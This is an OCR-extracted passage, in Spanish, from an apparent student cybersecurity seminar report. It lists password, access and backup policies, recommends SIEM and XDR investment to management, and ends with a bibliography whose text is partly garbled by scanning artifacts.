% Implementacion de equipos de seguridad perimetral para realizar control de
trafico, por ejemplo firewall, radius, etc.

s Tener sistemas (IDS/IPS) para la identificacion y el bloqueo de actividades
sospechosas.

% Contencion mediante antivirus o XDR.

2.10.5 Politica de contrasefias seguras:

% Realizar cambio de contrasefia periddicamente.

% Establecer politica de compartido seguro de contrasefias y fomentar el uso
de herramientas para administrar la contrasefia de forma segura.

« Exigir que las contrasefias deben ser fuertes con un minimo de 12 caracteres,
gue tengan mayusculas, mindsculas, nimeros y caracteres especiales (tiffin
University, 2022, pag. 18).

2.10.6 Politica de autorizacion y acceso:

% Si es posible utilizar la autenticacion de dos factores realizar la
implementacion.

% Regularmente actualizar y revisar los niveles de accesos a usuarios.

» Limitar el acceso a datos y a los sistemas a personal autorizado.

0

D

2.10.7 Politica de copias de seguridad y recuperacion de datos:
+ Probar con regularidad que las copias de seguridad funcionen. (cordon, s.f.,
pag. 18)
“+ Hacer copias de seguridad regularmente a datos criticos de la organizacién
y almacenarlas de forma segura.

(geeksforgeek, 2023, pag. 18)

2.11 RECOMENDACIONES

a. Seguridad fisica: Proteccion a la infraestructura tecnolégica mediante
acceso restringido de personal al sitio donde estén los servidores y demas
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equipos que pueden ser criticos para la organizacion (washington, s.f.,
pag. 18).

b. Cultura de seguridad: Fomentar una cultura de seguridad para toda la
compainiia, capacitando a los empleados que la responsabilidad es de
todos.

c. Monitoreo continuo: Implementar un monitoreo automatico que detecte y
responda a amenazas en tiempo real.

d. Encriptacion de datos: Utilizar la encriptacion para proteger los datos

e. Evaluacién de terceros: Realizar la evaluacién de seguridad de los
terceros y que vulnerabilidades tengan, para confirmar si se pueden
realizar los negocios con la organizacion.

f. Actualizacion de politicas: actualizar y revisar regularmente las politicas
de seguridad para estar al dia sobre amenazas emergentes.

g. Auditoria de seguridad: Hacer auditorias de seguridad con frecuencia
para identificar debilidades e identificar vulnerabilidades.

(berkeley, s.f.)
(titanfile, s.f.)

2.12 CONCLUSIONES A GERENCIA

Conclusiones que orienten aspectos importantes en cuando a la inversion de
ciberseguridad dentro de las organizaciones, deben tener en cuenta cada una de
las etapas que se ejecutaron a lo largo del seminario para poder ejecutar estas
conclusiones y soportar a la alta gerencia la necesidad de inversion.

Después de presentar el incidente de seguridad se realiz6 unos aseguramientos
muy basicos dentro de la organizacion por tal motivo se debe considerar la
implementacion de un XDR ya que realiza una deteccion de amenazas y la puede
eliminar en tiempo real evitando que esta se ejecute y realice algun dafio dentro de
los equipos finales, también seria bueno integrarlo con el correo ya que por este
medio también se presenta demasiados ataques.

Se recomienda que se tenga un SIEM enfocado en gestionar eventos e informacién
de seguridad, realizando la recopilacion de datos, registros y eventos de multiplex
fuente generando alertas y notificaciones de incidentes de seguridad, esto se puede
complementar con el XDR.
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Tabla 1 Diferencias entre un SIEM y XDR

X/

X/
X4

informes y cumplimiento de
normativas.

El SIEM pueden generar
notificaciones y alertas de
incidentes, pero la respuesta a
estos son procesos manuales
y de flujo de trabajo.

También es conocido por ser
escalable y personalizable que
es facil la adaptacion en
cualquier organizacion.

L)

L)

SIEM XDR

% El SIEM esta enfocado en % EI XDR gestiona mas alla de los
gestionar eventos e eventos y busca hacer una
informacion de seguridad, deteccion de amenazas mucho
hace recopilacion de datos, mas avanzada, ejecuta una
registros, y eventos de respuesta de incidentes en tiempo
multiples fuentes, con esta real, realiza la combinacion de
recoleccion de informacion deteccion y las respuestas en una
también  pueden  generar plataforma unificada.

Esta centrado en la
automatizacién de la respuesta de
incidentes, el XDR puede tomar
medidas automatizadas para
contener, aislar  amenazas,
tratando de que no dependa de la
intervencién humana.

Es una solucién orientada e
integrada que simplifica que la
gestion de seguridad al unificar la

respuesta y deteccion de
incidentes que facilita a las
organizaciones de tener una
herramienta o0 solucion mas

rapida y completa.

(Cybersecurity SOC, 2023)

Para garantizar la seguridad perimetral se requiere un equipo Firewall que bloqueen
ciertos ataques desde internet y que realice andlisis de ciertas politicas de
navegacion y descarga de archivos, en general la seguridad informatica se debe
implementar de manera transversal porque todos los activos digitales se deben
proteger y la mayoria de herramientas open source tienen limitaciones que hacen
gue no se tenga todas las funcionalidades de dichas herramientas ni soporte en
algunos casos.
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3 CONCLUSION

Se realiza un informe especificando el incidente que se presento en la organizacion
dando a conocer el levantamiento de la informacién que se realizé y la contencién
del ataque, ejecutando un laboratorio donde se simula el ataque real en maquinas
virtuales fuera de la red, también se da a conocer las politicas de seguridad y las
recomendaciones que se debe tener encienta para asegurar una empresa, se
concluye del porque las empresas debe invertir en la seguridad de su compafia.

35


https://youtu.be/Xcros2qunqs?si=BddNiK1tljy6W5LJ

X/
L X4

X/
L X4

DS

*

X/
°

X/
°e

BIBLIOGRAFIA

berkeley. (s.f.). Obtenido de https://security.berkeley.edu/resources/best-
practices-how-to-articles/top-10-secure-computing-tips

Celsia. (08 de 04 de 2019). Obtenido de https://www.celsia.com/wp-
content/uploads/2022/03/Politica_Ciberseguridad-v03.pdf

checkpoint. (s.f.). Obtenido de https://www.checkpoint.com/cyber-hub/cyber-
security/cyber-security-policy-types-of-cybersecurity-policies/

ciberseguridad. (s.f.). Obtenido de https://ciberseguridad.com/
cisecurity. (s.f.). Obtenido de https://www.cisecurity.org/cis-benchmarks

cisecurity. (s.f.). Obtenido de https://www.cisecurity.org/controls/cis-controls-
list

cisecurity. (s.f.). Obtenido de https://www.cisecurity.org/cis-benchmarks

36



X/
L X4

copnia. (2015). Obtenido de
https://www.copnia.gov.co/sites/default/files/node/page/field_insert_file/codi
go_etica.pdf

cordon. (s.f.). Obtenido de https://segurosciberneticos.es/guia-de-las-8-
politicas-de-ciberseguridad-imprescindibles-en-
empresas/#:~:text=%E2%80%9Clas%20pol%C3%ADticas%20de%20cibers
eguridad%20son,a%20l0s%20que%20est%C3%A1n%20expuestos.

Corporation, M. (01 de 06 de 2002). Obtenido de
https://apps.dtic.mil/sti/pdfs/AD1125343.pdf

Cybersecurity SOC. (28 de 04 de 2023). Obtenido de
https://es.linkedin.com/pulse/siem-vs-soar-xdr-cu%C3%Alles-son-las-
diferencias-y-cu%C3%A1l-es-luis-jos%C3%A9

futurelearn. (s.f). Obtenido de
https://www.futurelearn.com/info/courses/securing-your-network-from-
attacks/0/steps/204073#:~:text=Share%20this%20post-
,Exploit%20Database%20(ExploitDB)%20is%20an%20archive%200f%20ex
ploits%20for%20the,attacks%20occurring%20in%20other%20networks.

geeksforgeek. (06 de 05 de 2023). Obtenido de
https://www.geeksforgeeks.org/cyber-security-policy/

github.com. (27 de 01 de 2023). Obtenido de
https://github.com/rapid7/metasploit-
framework/blob/master/documentation/modules/payload/windows/meterpret
er/reverse_tcp.md

Grupo Cibernos. (s.f). Obtenido de
https://www.grupocibernos.com/blog/como-implementar-politicas-
ciberseguridad-efectivas

itforce. (s.f.). Obtenido de https://www.itforce.ca/blog/cybersecurity-policies-
every-business-needs

keepcoding. (07 de 12 de 2022). Obtenido de https://keepcoding.io/blog/que-
es-ossec/

keepcoding. (21 de 02 de 2023). Obtenido de https://keepcoding.io/blog/que-
es-blue-team-en-ciberseguridad/

keepcoding. (10 de 04 de 2023). Obtenido de https://keepcoding.io/blog/que-
es-red-team-en-ciberseguridad/

37



X/
L X4

keepcoding. (21 de 07 de 2023). Obtenido de https://keepcoding.io/blog/que-
es-purple-team-en-ciberseguridad/

keepcoding. (31 de 07 de 2023). Obtenido de https://keepcoding.io/blog/que-
es-suricata-en-ciberseguridad/

mintic. (05 de 1 de 2009). Obtenido de
https://normograma.mintic.gov.co/mintic/docs/pdf/ley 1273 2009.pdf

publica, f. (18 de 10 de 2012). funcionpublica. Obtenido de
https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981

Rahaman, M. (22 de 04 de 2022). Obtenido de
https://www.geeksforgeeks.org/ethical-hacking-footprinting/

sic. (05 de 01 de 2009). Obtenido de
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273
2009.pdf

snort. (s.f.). Obtenido de https://www.snort.org/

tarlogic. (2023). Obtenido de https://www.tarlogic.com/es/glosario-
ciberseguridad/cve/

tiffin University. (18 de 02 de 2022). Obtenido  de
https://global.tiffin.edu/noticias/politicas-de-ciberseguridad

titanfile. (s.f.). Obtenido de https://www.titanfile.com/blog/cyber-security-tips-
best-practices/

washington. (s.f.). Obtenido de https://chem.washington.edu/computer-
security-best-practices

38



